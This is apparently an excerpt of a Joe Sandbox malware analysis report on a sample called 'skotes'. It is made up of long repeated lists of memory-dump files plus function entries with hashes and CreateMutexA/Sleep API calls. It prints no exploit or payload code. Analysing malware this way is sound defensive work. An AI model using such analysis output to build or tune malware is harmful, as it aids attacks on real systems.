Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e56ef995cfb67d45e7c1fe3d41f5a8a7adb7f8a85548527e18231561428a1519
Instruction ID: 5b33f5c2b1da41ef90c9aaef18a365c7f161cbc5720c42d1edc0ab275e17cad8
Opcode Fuzzy Hash: e56ef995cfb67d45e7c1fe3d41f5a8a7adb7f8a85548527e18231561428a1519
Instruction Fuzzy Hash: 88E08C30140208AECF257F18E92DE583BAAEF51741F000805F82A4A322CB26EED1C680

Function 00AA9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f66ddb049d23dfe9bdf0e466d7ed48961a4d8350c20aeeae7f4c2085b8cf3885
Instruction ID: 2e6c386be10f9993060510393d5490b3e5f2b660c9dd54965753723d03aff4f5
Opcode Fuzzy Hash: f66ddb049d23dfe9bdf0e466d7ed48961a4d8350c20aeeae7f4c2085b8cf3885
Instruction Fuzzy Hash: C5312831B142049BEB08AB78DD897AFBBE6EB96310F248658E014973D6C7758A81C751

Function 00AA9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 34c0462eda27b305ad46da3e16d4ed05bab0df872a7538cbe08237ce99abdf12
Instruction ID: 3d61b3e6b1dc662541defbf7eec0541204f4fca909e7a6cfc31ebe7bf95fbb4a
Opcode Fuzzy Hash: 34c0462eda27b305ad46da3e16d4ed05bab0df872a7538cbe08237ce99abdf12
Instruction Fuzzy Hash: 4C3159317101049BEB189B78DD997AEBBE6EF9A310F204619E014DB2D6D7368A80C752

Function 00AAA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f021806052d140284d6881e40dab849a280280b9f3251ac285174c5733ed9fde
Instruction ID: 812e86aabfb23db8b210b20a126497b79ec3731bb1291a92a7278dac12957043
Opcode Fuzzy Hash: f021806052d140284d6881e40dab849a280280b9f3251ac285174c5733ed9fde
Instruction Fuzzy Hash: AA314631B101009BEB089B78DD89BADBBF6DBA6310F20871DE014973D6C7369980C662

Function 00AAA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 71f65d1f74bf94dc81f7284760156592f2fee408bd0807d42b7e4320a1f2d988
Instruction ID: db9a690f6a0d3d5bbe97fe847e549bcd70ee2a094cd75ef9968d30582f9752d8
Opcode Fuzzy Hash: 71f65d1f74bf94dc81f7284760156592f2fee408bd0807d42b7e4320a1f2d988
Instruction Fuzzy Hash: FB312831B102009BEB189B78DD8D7ADB7F6EFAB310F244659E014973E6D7368984C752

Function 00AAA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
